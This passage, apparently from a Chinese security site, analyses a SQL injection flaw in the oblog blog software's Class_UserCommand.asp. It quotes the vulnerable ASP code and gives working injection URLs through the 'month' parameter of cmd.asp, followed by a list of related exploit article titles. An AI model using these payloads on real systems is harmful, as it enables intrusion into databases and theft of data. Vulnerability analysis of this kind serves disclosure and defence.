|
代码分析:
文件In/Class_UserCommand.asp :
strMonth=Request("month") //第63行
strDay=Request("day")
……
Case "month" //第84行
Dim LastDay
G_P_FileName = G_P_FileName & "month&month=" & strMonth
strDay=Left(strMonth,4) & "-" & Right(strMonth,2) & "-01"
mYear=Left(strMonth,4)
mMonth=Right(strMonth,2)
If InStr ("01,03,05,07,08,10,12",mMonth)> 0 Then
LastDay = "31"……
Else //第109行
SqlPart = " And Addtime >='"&strMonth&"01' AND Addtime < '"&strMonth&LastDay&"' "
构造合适的变量strMonth进行注射
测试方法:
http://localhost/oblog/cmd.asp?do= month&month=2008’ and user>0--01
strDay变量从month中获得日期数据,并判断strDay是否为日期数据。所以构造的注射语句为:
http://localhost/oblog/cmd.asp?do= month&month=2008’(自己的sql语句)--01
执行sql语句采用rst.Open strSql,Conn,1,1
不能修改记录集.
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |